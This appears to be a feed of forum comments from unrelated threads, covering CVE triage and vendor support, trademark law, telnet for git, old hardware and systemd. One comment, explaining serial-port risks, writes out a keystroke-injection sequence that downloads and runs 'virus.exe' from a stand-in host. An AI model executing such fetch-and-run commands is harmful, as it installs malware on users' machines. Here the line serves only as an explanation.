Honestly after witnessing "principal" software engineers defend storing API keys plaintext in a database in the year of our Lord 2025, and ask how that someone possibly exploit that if they can't access that column directly through an application, my cynicism is strong enough that I can believe that even a majority of "developers" don't even know what a threat model is.
I've had to generate "bill of materials" for software I've shipped, and often certain end users will beat you over the head for "vulnerabilities" even if they're a low CVSS score or do not apply to your own code. I get the resistance to wanting CVEs for everything, as regardless of the initial intentions, there's a LOT of people/enterprises that just see "oh shit there's a CVE, the whole thing is garbage, we're not going to accept this/pay you/etc." Basically CVEs are often weaponized in a really counterproductive way.
Yup, and people get real stupid with it too. I’ve seen people request an update to fix redos vulnerabilities in a go package using the stdlib only. Because some time some where a bot flagged the regex and a CVE was opened with no consideration that it was nonsensical.
You explain that the CVE makes no sense, and you’re met with the response that “ok but did when”
The Black Duck scanner in particular I've found is really easy to misconfigure to siphon up all sorts of crazy shit. Did some coworker write a one-off support script that uses an ancient container in some random repository? Oops now you've got to answer to why you've got a dozen Debian or Alpine vulns in a product that ships on bare metal RHEL. If your build process is not 100% lunar lander clean, which in the era of ship trash as fast as possible, it's not going to be, you inevitably end up with an absolute deluge of things flagged that you have no idea where they came from or how to explain to some suit that no we're not shipping Debian Jessie in 2025, calm down.
> Basically CVEs are often weaponized in a really counterproductive way.
This is inevitable when you boil everything down to a number. When that number refers to a (potentially) costly bug, people shirk critical thinking and just go straight for zero-tolerance.
Not ideal but I'm not sure if there's a better way :/
I think what's happening here is, people don't have time to assess. And frankly, can you blame them?
A person might be implementing dozens or hundreds of pieces of software from multiple vendors. Now there are CVEs on their radar. They have to deal, and assess.
What do they do?
Do a deep dive on every CVE, including looking at code, validating what the CVE represents, and assessing security risk org wide, no matter how and where and in what way the software is used? Is code even available?
Or, is the prudent thing to say "CVE -- we need the vendor to resolve".
How much work must an end user put in, when a CVE is there?
I agree 100% that this is terrible, but my point is to at least understand it from the side of implementation. What I tend to do is use my distro for everything I possibly can. This provides an entity that is handling CVEs, and even categorizing them:
This helps reduce the need to handle CVEs directly. Not eliminate of course, but vastly reduce it. Output of clicking on a CVE is helpful with a rating:
This rating may be because it does not affect debian in its default config, or because something isn't compiled in, or the impact is truly low, or so on.
This gives me something to read if I must, and to grasp when I have no time to deep dive. I trust debian to be reasonably fast and work well to resolve CVEs of importance, and properly triage the rest.
Yes, I know of edge cases, yes I know of the fact that seldom used packages often need an end user to report a CVE. It can and does happen. But the goal here is "doing our very best" and "proving we'd doing that".
So this helps by allowing me to better focus on CVEs of vendor products I use, and get a better grasp on how to pursue vendors.
Yet when dealing with the infrastructure of smaller companies -- they just don't have the time. They still have to manage the same issues as a larger company, that being SoC2 compliance or what not, as well as liability issues in their market sphere.
And the thing is, I'm willing to bet larger companies are far worse at this CVE chicanery. It's just rote to them. Smaller companies have flexibility.
Here's a hotlist for making at least some of this manageable, because if you give people information, you don't have to respond as much:
* have a RSS feed, or a webpage which is only updated if there is a security update for your software
* have a stable and development(bleeding edge) branch. One branch only has security updates and never new code. Maybe, possibly bugfixes, but bugfixes must not break the API, config files, or create requirements for newer versions of libraries
* provide a mailing list never ever ever used for marketing purposes, which alerts users to new updates for software. never spam that email address. ever.
Important:
If you have outstanding CVEs, list them somewhere on a static page, with a description of what the issue is, and how you've triaged it. If you believe it's a bogus CVE, say so. If you think it only causes issues in certain circumstances, and is thus less important that other CVEs you are working on, say so.
Keep all CVEs here by simply updating the page to indicate a CVE was resolved, but also with a version/commit and date of when. Again, information resolves so many issues.
Do these things, and your end users will love you, and it will engender more trust that security issues are being dealt with seriously. (Note: not saying that aren't, but if you make it easy for people to know when updates come out, lots of questions stop being asked)
When engineers see this sort of thing, they love you. They become stronger advocates. It falls under marketing as much as technical due diligence.
As an open source software vendor I can say two things:
1) The CVE system allows vendors to deny CVEs that relate to their product. I don't know the exact rules, so I don't know if it applies in this case. We take anything that can crash our software seriously.
2) For users without a support contract, your priority does not automatically become out priority. If you want your issues fixed then make sure we have the money to do so. Just because you got a free download doesn't give you any rights to support.
What started this is a case where you have to put weird stuff in a config file to trigger the CVE. If the people behind dnsmasq don't get paid or not enough, then it is perfectly fine if this is not a priority.
We have a very popular product, lots of use in what is really the foundation of the internet and almost no support contracts.
So you can turn the argument around, if you are not paying for software, consider it a hobby project. Feel free to report and issue and create a ticket. But don't expect anything to happen. And don't complain on mailing lists how your issue is not taken seriously. Just fix the issue yourself or switch to a different product.
Why on earth do you need an app and a camera? The same basic VTech audio monitors that are basically the same for many decades now work great, don't cost a fortune and there's no question of "where is this data going?" It's all just a big cash grab for people who need chincy tech toys for a non-problem that's better solved with way more simple kit.
«The term micron and the symbol μ were officially accepted for use in isolation to denote the micrometre in 1879, but officially revoked by the International System of Units (SI) in 1967.»
It's the abbreviation of Micro Oberon, therefore a quite obvious naming choice; there is no real risk of confusion with commercial offers under this name; it's also a common name in science.
They also have a Micron trademark for software, as they sell some software packages. So it's really just a question of whether or not they notice and decide to go after you.
No. This is a common misconception. I know, you asked an LLM and it said you were very right and it cited a bunch of legal cases which prove you correct. You didn't check any of those citations, because they looked right, because it's an LLM and generating plausible nonsense is exactly what it's good at.
Or worse, you just relied on a vague memory that other people said the reason they have to do something reprehensible was because it's legally required, and even though you've heard that bullshit from a dozen US politicians in the last week and know it's bullshit you thought they must be correct.
No, I've been interested in "intellectual property" restrictions since last millennium, so I've been familiar with the outlines of US trademark law for a while. You evidently are not. Aside from the reductions in scope resulting from laches and equitable estoppel, demonstrating a clear record of enforcement efforts is crucial to preventing genericization, which can befall even the most inherently distinctive marks such as "heroin".
Nowadays it can indeed be difficult to avoid getting taken in by LLM bullshit even if you don't ask an LLM yourself, but it is still possible.
You are correct about the US in relation to trademarks. The situation there is rather complex, with it being possible for people to just add TM to their texts and ask other people to do the same and it is considered legally binding. They can take the extra step of registering and then they add (R) to their texts and that gets them an even stronger legal case.
Because of the case law nature of the US legal system and the informality of TM, if other people start using the term in other ways (for example using "xerox" as a verb meaning "copy") and you don't show an effort to curb that then you can lose your trademark.
In other countries things are different. Brazil, for example, uses a Latin legal system which is more formal. So the only thing that matters is whether you have registered the trademark with INPI (National Institute for Intellectual Property) or not. Which is why Gradiente owned the iPhone trademark in Brazil even though they were not using it anymore (it was from a product from around 2000) and if you asked anybody on the streets in Brazil they would associate the name with Apple.
It's all the usual suspects: Laches, Estoppel, and Genericisation. The first two lets deal with quickly: Laches only applies if you want to chase people for things they did too long ago, so, don't do that. Laches does not magically forbid suing them for things they are literally still doing, even if they've been doing them a long time, the prohibition is on unfair retrospective action.
Which gets us to estoppel. Estoppel requires explicit consent and isn't transferable. You won't get estopped from a trademark suit because the person who was misusing the mark thought they'd get away with it, that's completely contrary to how estoppel is used. If you give permission to someone to use your mark, then you're estopped from suing, but I didn't say "Give everybody permission" I merely said there's no need to sue or threaten to do so.
Genericisation is more interesting because in some sense it's true, your mark might become generic. This is generally a huge success (you don't become a household name if nobody has ever heard of your product...) but it's also extremely unlikely and both escape mention in this sort of piece. Indeed some marks listed aren't "generic" in the sense we meant here. If your mark is "genericised" as penalty for your country starting a global war, that's not going to be fixed by suing more people.
As you'd expect, the attorney assures you that you should pay them to help, even though they list absolutely no way in which they'd actually be able to help. How would you create a "clear record of enforcement"? Are you supposed to ensure that the correct number of people somehow infringe so that you can go after them? How many would be too many, or too few? How will courts measure?
The answer is it's nonsense. "Enforce it or lose it" claims are caused by the fact that lawyers would like you to give them money, - most of them will stop short of outright lying to get your money, but misleading is very much fair game when you're not even a paying customer yet.
Genericisation occurs when ~everybody uses your word to mean a thing. Are you going to sue everybody? Is an attorney going to help you, somehow, do that, some sort of reverse-class-action? No. They'll gladly take your money in exchange for the advice that in fact you shouldn't try to sue everybody.
In passing: The word heroin isn't "Inherently distinctive". It's barely distinct enough (remember this is a German manufacturer, so think German) to have made a reasonable trademark for Bayer's "non-addictive" morphine. Which is striking actually: Hey, who here has heard a story about a supposedly "non-addictive" opioid medicine sold by a huge pharmaceutical company who knew they were lying ?
The LLM stuff is because this wouldn't even be the second time I've had a thread where someone insists LLM told them about all these cases which proved me wrong. Previously in one HN thread they were so convinced they just pasted the made up case names wholesale.
Mostly I agree, and I'm sorry I went off on you like that. Cases like ConAgra v. Singleton take acquiescence further than simple laches. But acquiescence certainly didn't lose ConAgra their trademark in that case; it just allowed Singleton to keep using it as well, but only for some of his products.
"Heroin" is "inherently distinctive" in that it's a totally made-up word; it isn't a purely "generic" term like "Windows" or even a "descriptive" term like "Whole Foods". Even in German. The drug isn't literally extracted from heroes, it doesn't contain heroes, nothing like that. The reference here is to the spectrum of https://en.wikipedia.org/wiki/Trademark_distinctiveness. Even if most of the caselaw cited there is anachronistic in this case, many of the principles already existed at the time.
I see what you're saying on the distinctiveness though I think you're too generous to Bayer, this feels like how "Nutrisse" hair products are clearly intended to give customers the (false and indeed illegal if claimed) impression they're good for your hair. "Nutrisse" isn't a word but we do both see what the intent is right?
The Singleton thing is also a name problem, I think the court's sympathy ran out when there's re-use of branding material and evidence of actual confusion which is ultimately what these laws are trying to prevent.
Doable. It would basically be ssh but without encryption. You'd have to bang out login by hand, but "username\npassword\n" will probably work, might need a sleep inbetween, and of course you'll have to detect successful login too. Oh, and every 0xff byte will have to be escaped with another 0xff
At that point, may as well support raw serial too.
Supporting rlogin on the other hand is probably as simple as GIT_SSH=rlogin
Given that there are a lot of cases that old systems are used for that don't run the system full out and that they probably idle a lot when on, just like your new stuff, given that a lot of older hardware barring known stupid designs like Pentium 4 that draw ludicrous power for the perf, and given how much of an absolute shit show electronics recycling is (I've seen a good amount of how it actually gets "broken down"), I honestly think we upgrade way too often for most use cases. If you can still get by doing something important with a P3 or a Core 2, honestly I would be really surprised if it was actually vastly more cost efficient and environmentally friendly to refresh to new hardware.
Thanks for that, that's an interesting thought. I am trying to think about the security aspect. If the receiving device (mac mini) is infected with malware, can it infect the macBook through the serial port?
Of course it can. You can send keystrokes something like <Win>+R, cmd, wget example.com/virus.exe <Enter> virus.exe <Enter> and Windows computer will download and execute this binary. That's example for Windows, but there's nothing preventing you from using similar technique for macOS.
The only security barrier that macOS implements against this kind of attack is, that you must manually confirm after you connected that "keyboard", for system to enable it.
> And it is always important to make a distinction between the abstractions proper to the formalism and the object of study. A common fallacy involves reifying those abstractions into objects of the theory, at least implicitly.
I agree 100% and feel like I have seen a lot of people in physics kind of fall into this trap. The model is not the thing itself.
Are you sure you are really talking about Physics? Are you talking about actual research in physics, or physicists applying their way of thinking in other things?
I don't know of anyone that's been doing this for a while that hasn't been touched by systemd stupidity in some way. I still loathe the default behavior around the stub-resolver with unqualified names that "just worked" before Lennart decided he knew best.
I've been a Linux sysadmin professionally for 10 years now. I have never had problems with systemd, nor do I consider it to be stupid. Obviously you don't have to like it, but I think you're painting with too broad of a brush.
Doesn’t that mean you started being a sysadmin after systemd was widely adopted? Most people who dislike it probably actively worked with Linux prior to systemd.
Depends on what you mean by this in "been doing this"?
While work now mandates "If you want to use Linux, it has to be Ubuntu" (and I complied). On personal front - about a decade ago I've moved from "vanilla" Gentoo to Calculate Linux - which was and still is 100% Gentoo.
These days difference is even smaller, but already 10+ years ago Calculate had sane profiles as well as all software packages as pre compiled binaries matching those profiles.
And although systemd is one of configurable USE keywords on Calculate/Gentoo - it's still not the default.
So there probably are some folks that haven't been touched by systemd at all... For now.
reply